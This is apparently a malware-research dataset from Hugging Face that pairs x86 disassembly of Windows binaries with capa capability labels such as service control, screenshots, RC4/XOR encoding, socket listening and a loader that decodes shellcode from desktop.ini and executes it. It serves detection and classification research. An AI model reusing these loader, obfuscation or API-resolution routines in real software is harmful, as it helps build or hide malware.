joyce8/EMBER2024-capa huggingface dataset:
Function at 0x41b160
Capabilities:
Check for time delay via gettickcount
Query service status
Start service

Disassembly:
sub esp, 0x28
push esi
push edi
mov edi, dword [esp + 0x34]
push 0xf01ff
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
test esi, esi
jne 0x41b18d
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
xor eax, eax
xor edx, edx
pop esi
add esp, 0x28
ret
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
jne 0x41b1b2
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
push edi
call esi
pop edi
xor eax, eax
xor edx, edx
pop esi
add esp, 0x28
ret
lea ecx, [esp + 8]
push ecx
push 0x24
lea edx, [esp + 0x14]
push edx
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x41b183
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_GetTickCount]
push ebp
call ebx
cmp dword [esp + 0x18], 2
mov ebp, dword [esp + 0x28]
mov edi, eax
jne 0x41b24b
mov eax, 0xcccccccd
mul dword [esp + 0x2c]
shr edx, 3
cmp edx, 0x3e8
jae 0x41b1fd
mov edx, 0x3e8
jmp 0x41b20a
cmp edx, 0x2710
jbe 0x41b20a
mov edx, 0x2710
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [esp + 0x10]
push eax
push 0x24
lea ecx, [esp + 0x1c]
push ecx
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatusEx]
test eax, eax
je 0x41b24b
cmp dword [esp + 0x28], ebp
jbe 0x41b23a
call ebx
mov ebp, dword [esp + 0x28]
mov edi, eax
jmp 0x41b244
call ebx
sub eax, edi
cmp eax, dword [esp + 0x2c]
ja 0x41b24b
cmp dword [esp + 0x18], 2
je 0x41b1e2
push esi
mov esi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
call esi
mov edx, dword [esp + 0x3c]
push edx
call esi
pop ebp
pop ebx
pop edi
mov eax, 0x3e8
xor edx, edx
pop esi
add esp, 0x28
ret
Function at 0x41e9c0
Capabilities:
Create thread

Disassembly:
push esi
push edi
mov esi, eax
push 0
lea ecx, [esi + 0x90]
call fcn.0040aaf5
add esi, 0x9fc
push 5
mov ecx, esi
call fcn.0040aaf5
mov eax, dword [esi + 0x20]
mov edi, dword [sym.imp.USER32.dll_SetTimer]
push 0
push 0x19
push 0x77
push eax
call edi
mov eax, dword [esi + 0x20]
push 0
push 0
push eax
push 0x40c950
push 0
push 0
call fcn.00429ae1
mov ecx, dword [esi + 0x20]
add esp, 0x18
push 0
push 0x1388
push 0x75
push ecx
mov dword [esi + 0x74], eax
call edi
pop edi
pop esi
ret

Function at 0x41f210
Capabilities:
Capture screenshot

Disassembly:
push ecx
mov eax, dword [esp + 0x18]
sub eax, dword [esp + 0x10]
mov ecx, dword [edi + 0x84]
xor edx, edx
div ecx
mov ecx, eax
mov dword [esp], eax
test edx, edx
je 0x41f230
inc ecx
mov dword [esp], ecx
mov eax, dword [esp + 0x1c]
sub eax, dword [esp + 0x14]
push ebx
push ebp
push esi
mov esi, dword [edi + 0x88]
xor edx, edx
div esi
mov ebp, eax
test edx, edx
je 0x41f24c
inc ebp
xor ebx, ebx
test ecx, ecx
jle 0x41f29d
xor esi, esi
test ebp, ebp
jle 0x41f298
jmp 0x41f260
mov edx, dword [esp + 0x18]
mov eax, dword [edi + 0x88]
mov ecx, dword [edi + 0x84]
push 0xcc0020
push 0
push 0
push edx
push eax
imul eax, esi
push ecx
imul ecx, ebx
push eax
mov eax, dword [esp + 0x30]
push ecx
push eax
call dword [sym.imp.GDI32.dll_BitBlt]
inc esi
cmp esi, ebp
jl 0x41f260
mov ecx, dword [esp + 0xc]
inc ebx
cmp ebx, ecx
jl 0x41f252
pop esi
pop ebp
pop ebx
pop ecx
ret 0x18

Function at 0x420410
Capabilities:
Start service

Disassembly:
push 0xffffffffffffffff
push 0x43bda0
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebp
push esi
push edi
mov eax, dword [0x455d50]
xor eax, esp
push eax
lea eax, [esp + 0x18]
mov dword fs:[0], eax
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerW]
mov edi, eax
mov dword [esp + 0x10], edi
mov dword [esp + 0x20], 0
mov ebp, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
test edi, edi
je 0x4204bf
mov eax, dword [esp + 0x28]
push 0x10
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_OpenServiceW]
mov esi, eax
mov dword [esp + 0x14], esi
mov byte [esp + 0x20], 1
test esi, esi
je 0x4204b3
push 0
push 0
push esi
call dword [sym.imp.ADVAPI32.dll_StartServiceW]
test eax, eax
je 0x4204b3
mov byte [esp + 0x20], 0
push esi
mov esi, ebp
call esi
mov dword [esp + 0x20], 0xffffffff
push edi
call esi
mov al, 1
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
add esp, 0x14
ret
mov byte [esp + 0x20], 0
test esi, esi
je 0x4204bf
push esi
call ebp
mov dword [esp + 0x20], 0xffffffff
test edi, edi
je 0x4204ce
push edi
call ebp
xor al, al
mov ecx, dword [esp + 0x18]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebp
add esp, 0x14
ret

Function at 0x421490
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x455d50]
jne 0x42149a
repz ret
jmp fcn.0042e98f
Function at 0x424650
Capabilities:
Delete file

Disassembly:
push 0xffffffffffffffff
push 0x43ebb8
mov eax, dword fs:[0]
push eax
sub esp, 8
push ebx
push esi
mov eax, dword [0x455d50]
xor eax, esp
push eax
lea eax, [esp + 0x14]
mov dword fs:[0], eax
lea eax, [esp + 0xc]
push eax
call fcn.00412800
add esp, 4
mov dword [esp + 0x1c], 0
mov ecx, dword [esp + 0xc]
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileW]
push ecx
call esi
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x14]
push eax
mov ebx, str._shm
call fcn.0040cfe0
add esp, 8
mov byte [esp + 0x1c], 1
mov eax, dword [eax]
push eax
call esi
mov byte [esp + 0x1c], 0
lea ecx, [esp + 0x10]
call fcn.0040c520
lea ecx, [esp + 0xc]
push ecx
lea edx, [esp + 0x14]
push edx
mov ebx, str._wal
call fcn.0040cfe0
add esp, 8
mov byte [esp + 0x1c], 2
mov eax, dword [eax]
push eax
call esi
mov byte [esp + 0x1c], 0
lea ecx, [esp + 0x10]
call fcn.0040c520
mov dword [esp + 0x1c], 0xffffffff
lea ecx, [esp + 0xc]
call fcn.0040c520
mov ecx, dword [esp + 0x14]
mov dword fs:[0], ecx
pop ecx
pop esi
pop ebx
add esp, 0x14
ret
Function at 0x426ce8
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
mov ebx, dword [esi + 0x2c]
push edi
mov edi, dword [esi + 0x3c]
sub edi, dword [esi + 0x74]
mov eax, dword [esi + 0x6c]
mov ecx, dword [esi + 0x2c]
sub edi, eax
lea ecx, [ebx + ecx - 0x106]
mov dword [ebp - 8], edi
cmp eax, ecx
jb 0x426d77
mov eax, dword [esi + 0x38]
push ebx
lea ecx, [eax + ebx]
push ecx
push eax
call fcn.0042ae20
mov eax, dword [esi + 0x4c]
mov ecx, dword [esi + 0x44]
sub dword [esi + 0x70], ebx
sub dword [esi + 0x6c], ebx
add esp, 0xc
sub dword [esi + 0x5c], ebx
mov dword [ebp - 4], eax
lea eax, [ecx + eax*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edx, ecx
sub edx, ebx
cmp ecx, ebx
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp - 4]
mov word [eax], cx
jne 0x426d37
mov eax, dword [esi + 0x40]
mov dword [ebp - 4], ebx
lea eax, [eax + ebx*2]
dec eax
dec eax
movzx ecx, word [eax]
mov edx, ecx
sub edx, ebx
cmp ecx, ebx
sbb ecx, ecx
not ecx
and ecx, edx
dec dword [ebp - 4]
mov word [eax], cx
jne 0x426d59
add edi, ebx
mov dword [ebp - 8], edi
mov edi, dword [esi]
cmp dword [edi + 4], 0
je 0x426e35
mov eax, dword [esi + 0x74]
add eax, dword [esi + 0x6c]
mov ecx, dword [edi + 4]
add eax, dword [esi + 0x38]
mov edx, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov dword [ebp - 4], ecx
cmp ecx, edx
jbe 0x426d9f
mov dword [ebp - 4], edx
mov edx, dword [ebp - 4]
test edx, edx
jne 0x426daa
xor eax, eax
jmp 0x426df6
sub ecx, edx
mov dword [edi + 4], ecx
mov ecx, dword [edi + 0x1c]
mov ecx, dword [ecx + 0x18]
cmp ecx, 1
jne 0x426dc7
push edx
push dword [edi]
push dword [edi + 0x30]
call fcn.00427638
jmp 0x426dd7
cmp ecx, 2
jne 0x426de0
push edx
push dword [edi]
push dword [edi + 0x30]
call fcn.00428f6a
mov dword [edi + 0x30], eax
mov eax, dword [ebp - 0xc]
add esp, 0xc
push dword [ebp - 4]
push dword [edi]
push eax
call fcn.0042ae20
mov eax, dword [ebp - 4]
add dword [edi], eax
add esp, 0xc
add dword [edi + 8], eax
add dword [esi + 0x74], eax
mov edi, dword [esi + 0x74]
cmp edi, 3
jb 0x426e21
mov eax, dword [esi + 0x6c]
mov ecx, dword [esi + 0x38]
lea edx, [eax + ecx]
movzx eax, byte [edx]
mov ecx, dword [esi + 0x58]
mov dword [esi + 0x48], eax
shl eax, cl
movzx ecx, byte [edx + 1]
xor eax, ecx
and eax, dword [esi + 0x54]
mov dword [esi + 0x48], eax
cmp edi, 0x106
jae 0x426e35
mov eax, dword [esi]
cmp dword [eax + 4], 0
jne 0x426cf5
pop edi
pop ebx
leave
ret
Function at 0x429344
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x274
mov eax, dword [0x455d50]
xor eax, ebp
mov dword [ebp - 4], eax
cmp dword [ebp + 0xc], 0x800
mov eax, dword [ebp + 8]
push esi
mov dword [ebp - 0x234], eax
mov esi, ecx
lea eax, [ebp - 0xc]
jne 0x4293dc
push 0x445d74
push 4
push eax
call fcn.0042a474
push eax
call fcn.00422930
add esp, 0x10
push ebx
push edi
call fcn.0042b996
mov edi, dword [eax]
call fcn.0042b996
xor ebx, ebx
mov dword [eax], ebx
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x234]
lea eax, [ebp - 0x230]
push esi
push 0x111
mov esi, 0x112
push esi
push eax
call fcn.0042b933
add esp, 0x18
mov dword [ebp - 0x234], eax
call fcn.0042b996
cmp dword [eax], ebx
je 0x4293f3
call fcn.0042b996
push dword [eax]
call fcn.004101f0
pop ecx
jmp 0x4293fa
push 4
push eax
push 3
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x429387
jmp 0x429481
call fcn.0042b996
mov dword [eax], edi
cmp dword [ebp - 0x234], 0xffffffff
je 0x42947d
cmp dword [ebp - 0x234], esi
jae 0x42947d
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
push 0x3c
mov esi, eax
lea eax, [ebp - 0x270]
push ebx
push eax
mov dword [ebp - 0x274], 0x40
call fcn.0042ac10
add esp, 0xc
push 0x445984
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
cmp eax, ebx
je 0x42946c
push str.FindActCtxSectionStringW
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmp eax, ebx
je 0x42946c
lea ecx, [ebp - 0x274]
push ecx
push esi
push 2
push ebx
push ebx
call eax
test eax, eax
je 0x42946c
push ebx
push ebx
push esi
jmp 0x429475
push ebx
push ebx
lea eax, [ebp - 0x230]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
jmp 0x42947f
xor eax, eax
pop edi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop esi
call fcn.00421490
leave
ret
Function at 0x4362c2
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.0042e2f3
and dword [ebp - 4], 0
cmp dword [0x459fe0], 0
mov ebx, eax
jne 0x436373
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x436424
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push str.MessageBoxA
push edi
call esi
test eax, eax
je 0x436424
push eax
call fcn.0042e281
mov dword [esp], 0x44736c
push edi
mov dword [0x459fe0], eax
call esi
push eax
call fcn.0042e281
mov dword [esp], 0x447358
push edi
mov dword [0x459fe4], eax
call esi
push eax
call fcn.0042e281
mov dword [esp], str.GetUserObjectInformationA
push edi
mov dword [0x459fe8], eax
call esi
push eax
call fcn.0042e281
pop ecx
mov dword [0x459ff0], eax
test eax, eax
je 0x436373
push str.GetProcessWindowStation
push edi
call esi
push eax
call fcn.0042e281
pop ecx
mov dword [0x459fec], eax
mov eax, dword [0x459fec]
cmp eax, ebx
je 0x4363cb
cmp dword [0x459ff0], ebx
je 0x4363cb
push eax
call fcn.0042e2fc
push dword [0x459ff0]
mov esi, eax
call fcn.0042e2fc
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x4363cb
test edi, edi
je 0x4363cb
call esi
test eax, eax
je 0x4363c2
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x4363c2
test byte [ebp - 0xc], 1
jne 0x4363cb
or dword [ebp + 0x10], 0x200000
jmp 0x436404
mov eax, dword [0x459fe4]
cmp eax, ebx
je 0x436404
push eax
call fcn.0042e2fc
pop ecx
test eax, eax
je 0x436404
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x436404
mov eax, dword [0x459fe8]
cmp eax, ebx
je 0x436404
push eax
call fcn.0042e2fc
pop ecx
test eax, eax
je 0x436404
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x459fe0]
call fcn.0042e2fc
pop ecx
test eax, eax
je 0x436424
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x436426
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x481429
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push dword [ebp + 0xc]
call fcn.004675be
xor esi, esi
pop ecx
cmp dword [ebp + 0xc], esi
mov ebx, eax
jle 0x481461
push edi
mov edi, dword [ebp + 8]
sub edi, ebx
mov eax, esi
lea ecx, [esi + ebx]
cdq
idiv dword [ebp + 0x14]
mov eax, dword [ebp + 0x10]
mov al, byte [edx + eax]
xor al, byte [edi + ecx]
inc esi
cmp esi, dword [ebp + 0xc]
mov byte [ecx], al
jl 0x481446
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x401020
Capabilities:
Create tcp socket
Create thread
Create udp socket
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x415355
mov eax, dword fs:[0]
push eax
sub esp, 0x1ac
mov eax, dword [0x41f010]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
lea eax, [ebp - 0x1b4]
push eax
push 0x202
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x40106c
push str._Winsock
jmp 0x4011b9
push 0x48
call fcn.00402835
mov esi, eax
push 0x40
mov dword [ebp - 0x14], esi
push 0
lea ecx, [esi + 4]
mov dword [esi], 0
push ecx
mov dword [esi + 0x44], 0
call fcn.00404130
add esp, 0x10
mov dword [ebp - 0x1b8], esi
push 0
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x4011b4
mov eax, 2
push 0x573d
mov word [ebp - 0x24], ax
call dword [sym.imp.WS2_32.dll_htons]
mov word [ebp - 0x22], ax
lea eax, [ebp - 0x24]
push 0x10
push eax
push dword [esi]
mov dword [ebp - 0x20], 0
call dword [sym.imp.WS2_32.dll_bind]
push 0xa
push dword [esi]
call dword [sym.imp.WS2_32.dll_listen]
push 8
call fcn.00402835
lea ecx, [ebp - 0x1b8]
mov dword [ebp - 0x14], eax
mov dword [eax], ecx
mov dword [eax + 4], 0x401730
lea ecx, [ebp - 0x18]
mov dword [ebp - 4], 0
push ecx
push 0
push eax
push 0x401920
push 0
push 0
call fcn.004070e7
add esp, 0x1c
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x40120c
mov dword [ebp - 4], 1
mov ecx, dword [ebp - 0x18]
test ecx, ecx
je 0x4011f2
push ecx
push eax
call fcn.00401acd
add esp, 8
test eax, eax
jne 0x4011f9
push 8
mov dword [ebp - 4], 0xffffffff
call fcn.00402835
mov ecx, dword [ebp - 0x1b8]
mov dword [ebp - 0x14], eax
mov dword [eax], ecx
mov dword [eax + 4], 0x4015b0
lea ecx, [ebp - 0x18]
mov dword [ebp - 4], 2
push ecx
push 0
push eax
push 0x401920
push 0
push 0
call fcn.004070e7
add esp, 0x1c
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x40120c
mov dword [ebp - 4], 3
mov ecx, dword [ebp - 0x18]
test ecx, ecx
je 0x4011ff
push ecx
push eax
call fcn.00401acd
add esp, 8
test eax, eax
jne 0x401206
jmp 0x4011b2
push 0x41cc68
call fcn.004019d0
push 0
call fcn.0040589b
push eax
call fcn.00406d29
add esp, 0xc
call fcn.00406f4a
mov eax, 0x80004005
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00402827
mov esp, ebp
pop ebp
ret
push 1
call fcn.00402139
push eax
call fcn.0040210c
push 1
call fcn.00402139
push eax
call fcn.0040210c
push 6
mov dword [ebp - 0x18], 0
call fcn.00402139
int3

Function at 0x40b439
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0040b2af
Function at 0x102024e0
Capabilities:
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x20
mov eax, dword [ebp + 0x10]
mov ecx, dword [ebp + 0xc]
mov edx, dword [ebp + 8]
mov dword [0x1024216c], 0x795
mov dword [0x10242178], 0
mov byte [0x1024217c], 0
mov dword [ebp - 0x10], eax
mov dword [ebp - 0x14], ecx
mov dword [ebp - 0x18], edx
xor eax, eax
mov dword [0x10242174], 0
mov dword [ebp - 0x1c], eax
jmp 0x102025f7
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x24]
mov edx, 0xf92
mov esi, 0x100
mov dword [ebp - 0x28], eax
xor edi, edi
mov dword [ebp - 0x2c], edx
mov edx, edi
mov edi, dword [ebp - 0x10]
div edi
mov dword [0x10242180], 0
mov dword [0x10242170], ecx
mov ecx, dword [0x10242178]
mov ebx, dword [ebp - 0x18]
mov edi, dword [ebp - 0x28]
movzx edi, byte [ebx + edi]
add edi, ecx
mov ecx, dword [ebp - 0x14]
movzx edx, byte [ecx + edx]
add edi, edx
mov dword [0x10242180], edi
mov eax, edi
cdq
idiv esi
mov dword [0x10242178], edx
mov dword [0x1024216c], 0x1e22
mov esi, dword [ebp - 0x28]
mov cl, byte [ebx + esi]
mov byte [0x1024217c], cl
mov dword [0x1024216c], 0x112f
mov cl, byte [ebx + edx]
mov byte [ebx + esi], cl
mov cl, byte [0x1024217c]
mov edx, dword [0x10242178]
mov byte [ebx + edx], cl
mov dword [0x1024216c], 0xa8a
mov dword [0x10242170], 0xfffffb26
mov edx, dword [0x10242174]
add edx, 1
mov dword [0x10242174], edx
cmp edx, 0x100
mov edi, dword [ebp - 0x2c]
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], edx
jl 0x1020252a
jmp 0x10202654
mov eax, dword [ebp - 0x1c]
mov dword [0x1024216c], 0xc9a
mov ecx, eax
mov dl, cl
mov ecx, dword [ebp - 0x18]
mov byte [ecx + eax], dl
mov eax, dword [0x10242174]
add eax, 1
mov dword [0x10242174], eax
cmp eax, 0x100
mov dword [ebp - 0x1c], eax
jl 0x102025f7
xor eax, eax
mov dword [0x1024216c], 0x9b7
mov dword [0x10242174], 0
mov ecx, dword [0x10242170]
add ecx, 0x146c
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x20], eax
jmp 0x1020252a
add esp, 0x20
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10202ae4
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x4c
mov eax, dword [ebp + 8]
mov ecx, dword [0x1024216c]
add ecx, 0x381
mov dword [0x1024216c], ecx
mov dword [ebp - 0x10], eax
call fcn.102020aa
xor ecx, ecx
mov edx, eax
mov esi, dword [0x1024216c]
add esi, 0xfffff43e
mov dword [0x1024216c], esi
mov esi, dword [eax + 0x3c]
mov edi, edx
add edi, esi
mov esi, dword [eax + esi]
cmp esi, 0x4550
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x1c], edx
mov dword [ebp - 0x20], edi
je 0x10202b44
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [eax + 0x78]
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x14]
add ecx, dword [edx + eax + 0x20]
mov dword [0x10242170], 0x194b
mov esi, dword [edx + eax + 0x18]
cmp esi, 0
mov edi, dword [ebp - 0x18]
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x28], ecx
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x30], edi
je 0x10202c75
jmp 0x10202be1
mov eax, dword [ebp - 0x34]
add eax, 1
mov cl, byte [ebp - 0x35]
cmp cl, 0
setne dl
mov dword [ebp - 0x3c], eax
mov byte [ebp - 0x3d], dl
mov al, byte [ebp - 0x3e]
mov cl, byte [ebp - 0x3d]
and al, cl
mov edx, dword [ebp - 0x3c]
cmp edx, 0x20
setb ah
and al, ah
test al, 1
mov dword [ebp - 0x44], edx
jne 0x10202c0d
jmp 0x10202c3a
xor eax, eax
mov ecx, dword [ebp - 0x48]
add ecx, 1
mov edx, dword [ebp - 0x4c]
add edx, 2
mov esi, dword [ebp - 0x2c]
cmp ecx, esi
mov dword [ebp - 0x50], ecx
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x30], eax
jb 0x10202bf3
jmp 0x10202c75
xor eax, eax
mov ecx, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x24]
add ecx, dword [ecx + edx + 0x24]
mov dword [ebp - 0x54], ecx
mov dword [ebp - 0x50], eax
mov eax, dword [ebp - 0x50]
mov ecx, dword [ebp - 0x54]
xor edx, edx
mov esi, dword [ebp - 0x28]
mov edi, dword [esi + eax*4]
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x4c], ecx
mov dword [ebp - 0x58], edi
mov dword [ebp - 0x44], edx
mov eax, dword [ebp - 0x44]
mov ecx, eax
mov edx, dword [ebp - 0x58]
add ecx, edx
mov esi, dword [ebp - 0x1c]
mov bl, byte [esi + ecx]
mov ecx, dword [ebp - 0x10]
mov bh, byte [ecx + eax]
cmp bl, bh
sete cl
cmp bl, 0
mov dword [ebp - 0x34], eax
mov byte [ebp - 0x35], bh
mov byte [ebp - 0x3e], cl
jne 0x10202b7f
mov al, byte [ebp - 0x3e]
test al, 1
jne 0x10202c46
jmp 0x10202bb8
mov eax, dword [ebp - 0x4c]
movzx ecx, word [eax]
mov edx, dword [ebp - 0x1c]
mov esi, dword [ebp - 0x24]
add edx, dword [edx + esi + 0x1c]
mov ecx, dword [edx + ecx*4]
mov dword [0x1024216c], 0x1e24
mov edx, dword [ebp - 0x1c]
add edx, ecx
mov dword [0x10242170], 0x1040
mov dword [ebp - 0x30], edx
mov eax, dword [ebp - 0x30]
add esp, 0x4c
pop esi
pop edi
pop ebx
pop ebp
ret
Function at 0x10202cec
Capabilities:
Get number of processors

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov dword [ebp - 4], 0
mov dword [0x1024216c], 0xa55
mov eax, dword fs:[0x30]
mov dword [ebp - 4], eax
xor ecx, ecx
mov edx, dword [ebp - 4]
mov edx, dword [edx + 0x10]
mov edx, dword [edx + 0x3c]
mov dword [0x1024216c], 0xa74
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], edx
mov dword [ebp - 0x10], ecx
jmp 0x10202d8d
mov eax, dword [ebp - 0x14]
add esp, 0x2c
pop ebp
ret
xor eax, eax
mov dword [0x1024216c], 0xfffff436
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0x12], 0x64
mov dword [ebp - 0x14], eax
je 0x10202e28
jmp 0x10202d2c
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
mov dword [0x1024216c], 0x21ff
mov edx, dword [0x10242170]
add edx, 0xfffffbd3
mov dword [0x10242170], edx
mov edx, dword [ebp - 0xc]
cmp word [edx + eax*2 - 0x1a], 0x6c
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], ecx
je 0x10202dc3
jmp 0x10202d2c
mov eax, dword [ebp - 0x10]
mov ecx, dword [ebp - 0xc]
cmp word [ecx + eax*2], 0
mov edx, eax
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x1c], edx
je 0x10202d58
mov eax, dword [ebp - 0x20]
add eax, 1
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
cmp eax, 0x104
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x10], ecx
jl 0x10202d8d
jmp 0x10202d58
mov eax, dword [ebp - 0x18]
add eax, 0xfffffff4
shl eax, 1
mov ecx, dword [ebp - 0xc]
add ecx, eax
mov dword [ebp - 0x28], ecx
xor eax, eax
mov ecx, dword [ebp - 0x28]
cmp word [ecx], 0x6f
mov dword [ebp - 0x14], eax
jne 0x10202d2c
xor eax, eax
mov dword [0x1024216c], 0xfffffc44
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0x16], 0x61
mov dword [ebp - 0x14], eax
jne 0x10202d2c
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0x14], 0x64
mov dword [ebp - 0x14], eax
je 0x10202d34
jmp 0x10202d2c
mov eax, dword [ebp - 0x18]
add eax, 0xfffffff8
shl eax, 1
mov ecx, dword [ebp - 0xc]
add ecx, eax
mov dword [ebp - 0x2c], ecx
xor eax, eax
mov ecx, dword [ebp - 0x2c]
cmp word [ecx], 0x6c
mov dword [ebp - 0x14], eax
jne 0x10202d2c
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp - 0x18]
cmp word [ecx + edx*2 - 0xe], 0x6c
mov dword [ebp - 0x14], eax
jne 0x10202d2c
mov dword [0x1024216c], 0x12d7
mov eax, 1
mov dword [ebp - 0x14], eax
jmp 0x10202d2c